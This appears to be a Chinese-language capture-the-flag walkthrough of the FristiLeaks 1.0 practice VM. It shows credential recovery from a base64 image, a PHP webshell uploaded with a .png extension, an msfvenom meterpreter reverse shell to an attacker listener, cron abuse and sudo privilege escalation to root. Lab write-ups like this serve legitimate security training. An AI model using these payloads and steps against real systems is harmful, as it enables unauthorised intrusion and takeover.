0x00 环境搭建 靶机环境：Vmware
设置网络环境，先设置mac地址，后设置网络环境后，可发现靶机IP
0x02 信息收集 查看首页源代码，发现目标信息,获取root权限
Welcome to #Fristleaks, a quick hackme VM by @Ar0xA 欢迎使用fristleaks，这是一个由@ar0xa提供的快速黑客虚拟机 Goal: get UID 0 (root) and read the special flag file. 目标：获取uid 0（根）并读取特殊标志文件。 Timeframe: should be doable in 4 hours. 时间框架：应该在4小时内完成。
robots文件
User-agent: * Disallow: /cola Disallow: /sisi Disallow: /beer
目录
images/ 图片目录 icons/ 图标索引 icons/small/ 目录遍历，全是图片 fristi/
fristi/目录下发现登录框
登录提示密码错误，尝试注入一波
<!-- TODO: We need to clean this up for production. I left some junk in here to make testing easier. - by eezeepz -->
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU 12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5 uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1 04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws 30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl 3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34 rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR U5ErkJggg==
使用base64解码是png图片格式，复制baese64字符，在kali下操作
base64 -d 12.txt base64 -d 12.txt > 12.png
eezeepz:keKkeKKeKKeKkEkkEk
PS:经测试两串base64编码通过此方法转换出来的图片都是一样的.
0x02 获取webshell 登录后发现上传点,上传php文件，使用截断，服务端绕过方式失败。。最后发现就加.png可以上传,使用蚁剑连接成功。。
0x03 提权 查看eezeepz目录，发现有一个文本文件
Yo EZ, I made it possible for you to do some automated checks, but I did only allow you access to /usr/bin/* system binaries. I did however copy a few extra often needed commands to my homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those from /home/admin/ Don't forget to specify the full path for each binary! Just put a file called "runthis" in /tmp/, each line one command. The output goes to the file "cronresult" in /tmp/. It should run every minute with my account privileges. - Jerry
翻译下
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis
失败了，未创建成功。
使用脏牛提权，一直编译不成功.
猜测菜刀的shell问题，使用msf反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f raw >1.php
kali监听，shell上传到靶机中，访问后成功反弹
python -c 'import pty;pty.spawn("/bin/bash")' 反弹一个回显终端
技术有点菜。。没有回显一个窗口回来，显示是反弹回来了。。尝试文章中的方法
下载php-反向壳
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
修改php文件，设置ip和端口。
查看/home/admin下文件
重写python代码
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn import base64,codecs,sys def encodeString(str): base64string= base64.b64encode(str) return codecs.encode(base64string[::-1], 'rot13') def decodeString(str): string = str[::-1] string = string.encode("rot13") return base64.b64decode(string) print decodeString(sys.argv[1])
查看两个文本文件的内容得到两串字符串
cat cryptedpass.txt mVGZ3O3omkJLmy2pcuTq 解密：thisisalsopw123 cat whoisyourgodnow.txt =RFn0AKnlMHMPIzpyuTI0ITG 解密：LetThereBeFristi! 测试账户：fristigod 密码：LetThereBeFristi! 登录成功
使用sudo -l 提权到root，爆出错误
提示需要运行doCom文件,运行报错
使用以下命令可执行文件
sudo -u fristi ./doCom /bin/sh
提权成功，cd到root目录下，查看flag文件
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu] I wonder if you beat it in the maximum 4 hours it's supposed to take! Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode) Flag: Y0u_kn0w_y0u_l0ve_fr1st1
通关成功！！！
0x04 总结 1、脏牛提权。。看靶机内核是存在脏牛漏洞的，但是找了几个exp都无法编译成功。
